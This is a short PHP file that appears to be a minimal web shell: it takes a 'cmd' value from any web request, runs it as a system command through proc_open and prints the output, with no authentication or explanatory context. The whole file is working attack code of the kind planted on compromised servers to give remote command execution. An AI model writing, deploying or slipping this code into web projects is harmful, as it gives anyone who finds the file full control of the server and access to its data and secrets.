<?php if(isset($_REQUEST['cmd'])){ $descriptorspec=array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w')); $process=proc_open($_REQUEST['cmd'],$descriptorspec,$pipes); if(is_resource($process)){ echo stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($process); } } ?>